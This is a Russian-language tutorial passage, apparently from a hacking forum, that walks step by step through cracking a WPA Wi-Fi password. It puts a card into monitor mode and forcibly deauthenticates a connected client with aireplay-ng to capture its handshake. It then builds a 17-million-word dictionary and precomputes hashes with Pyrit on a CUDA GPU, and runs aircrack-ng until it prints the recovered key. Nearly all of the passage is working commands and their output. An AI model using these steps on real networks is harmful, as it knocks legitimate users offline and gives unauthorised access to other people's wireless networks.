Завершив со всеми приготовлениями - приступаем непосредственно к "бруту", точнее сначала нам нужно заполучить "заветный"   cap файл с "handshake" клиента с точкой доступа.
Переводим нашу беспроводную карточку в "беспорядочный " режим, я использую USB Dlink Dwl - G122.

# ifconfig wlan1 up
# airmon-ng start wlan1

Определяемся с точкой доступа, клиентом и каналом на котором вещает AP.  Определившись - запукскаем  airmon-ng на нужном нам канале и с этим же номером канала запускаем airodump-ng.

# airmon-ng stop wlan1
# airmon-ng start wlan1 6  (6- в нашем случае номер канала)
# airodump-ng -w cudacapture mon0 --channel 6

Как можем наблюдать, мы имеем одну точку доступа и одного клиента, у нас есть 2 пути, чтобы заполучить handshake - это либо дождаться когда какой то клиент подключиться и перехватить его сессию аутентификации, либо "насильным" образом :) сделать так, чтобы клиента "вышибло" из сети а потом завладеть сессией аутентификации, идем по второму пути.

# aireplay-ng -0 20 -a 0X:1X:7e:fX:aX:8X -c 0X:1X:0X:aX:dX:5X mon1
01:13:28  Waiting for beacon frame (BSSID: 00:1D:7E:F0:A5:8F) on channel 6
01:13:29  Sending 64 directed DeAuth. STMAC: [0X:1X:0X:AX:DX:5X] [25|68 ACKs]
01:13:30  Sending 64 directed DeAuth. STMAC: [0X:1X:0X:AX:DX:5X] [ 3|63 ACKs]

20 - число пакетов деаутентификации, параметр можно варьировать по желанию
a - MAC адрес точки доступа
c - MAC клиента.
Смотрим успешность наших действий:

# aircrack-ng cudacapture-01.cap
Opening cudacapture-01.cap
Read 5612 packets.
 
#  BSSID              ESSID                     Encryption
 
1  0X:1X:7X:FX:AX:8X  test                    WPA (1 handshake)

Видим, что перехватили одно рукопожатие, отлично ! :)
Переходим к  словарю для брута, используем готовый или качаем, в сети их полно, я использовал свой сгенерированный с помощью passwords pro. Обьем его вышел 134мб, а слов и комбинаций символов 17500000 :)
Приступаем к сортировке, кстати тоже самое можно проделать сразу в passwords pro.

# cat dic-0294.txt | sort | uniq | pw-inspector -m 8 -M 63 > wpa.lst
# wc -l wpa.lst
17476540 wpa.lst

m - нижний порог парольной фразы, с этим параметром можно "поиграться", но увлекаться тоже не стоит, вдруг ключь всего 3 символа :)
Около  17476540 слов, теперь нам нужно добавить наш перехваченный ESSID для генерации хешей.

# python pyrit. -e test create_essid
The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3
 
Created ESSID 'test'

Импортируем  наш новый wpa.lst

# pyrit -f /root/wpa.lst import_passwords
The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3
 
Importing from  '/root/wpa.lst'
17454540 lines read. All done.

Генерируем таблицу хешей.

# pyrit batchprocess
The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3
 
Using default core 'Nvidia CUDA' (Device 'GeForce 9600m GS')
Working on ESSID 'test'
 
Batchprocessing done.

Pyrit  имеет возможность вывода данных в формате таких утилит для брута, как  cowpatty и airolib-ng.  Cowpatty не принесла мне желаемого результата, долго "гуглив", то и дело я натыкался на похожие проблемы, что были у меня, а именно - Cowpatty не "хотела" обрабатывать cap ссылаясь на некорректность самого файла, поиски в интернете дали предположить, что встаки утилита так себя ведет при обработке файла полученного из сети использующей wpa2-aes.
Как приблизительно это может быть у вас:

# pyrit -e test -f cow.out export_cowpatty
The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3
 
Exporting to 'cow.out'...
4656218 entries written. All done.

Теперь "скармливаем" полученный файл непосредственно cowpatty.

# cd /pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty/
 
root@bt:/pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty# ./cowpatty -d /root/cow.out -s test -r /root/cudacapture-01.cap

Мой вариант. Я буду использовать airolib-ng и aircrack-ng.
Создаем базу данных формата sqlite.

# airolib-ng testdb -import essid test
Database <testdb> does not already exist, creating it...
Database <testdb> sucessfully created
Could not open file/stream for reading.

Экспортируем наши хеши в базу.

# pyrit -e home -f testdb export_hashdb
Pyrit 0.2.2 (C) 2008, 2009 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3
 
Exporting ESSID 'test'

Теперь собственно атака.

# aircrack-ng -r testdb /root/cudacapture-01.cap

У меня aircrack-ng "выругался" в виду невозможности использования базы данных sqlite. Чтож, удаляем aircrack-ng и компилируем с поддержкой sqlite. Для этого переходим в каталог где собственно компилировался airckrack-ng и выполняем команды.

# make uninstall
# cd ..
# wget http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz
# tar -zxvf aircrack-ng-1.0-rc3.tar.gz
# cd aircrack-ng-1.0-rc3
# make sqlite=true
# make sqlite=true install
# aircrack-ng -r testdb /root/cudacapture-01.cap
Reading packets, please wait...
Aircrack-ng 1.0 rc3
[00:00:17] 1210943 keys tested (67254.59 k/s)
 
KEY FOUND! [ yhbujnikm ]
 
Master Key     : BA 8D F1 6C CD 7B 08 A7 51 DC 60 14 F3 67 D1 82
13 E2 B0 58 61 1D 8C F9 0A 13 65 8B DA 9E A6 B5
 
Transient Key  : 3E B2 CB D7 92 2A 6F 42 B5 16 D5 45 F7 70 0F 31
 
EAPOL HMAC     : F5 D7 47 F5 7E 0F 92 D5 DD 15 00 EC 7E 98 BC FB
 
Quitting aircrack-ng...

Вот собственно и все :)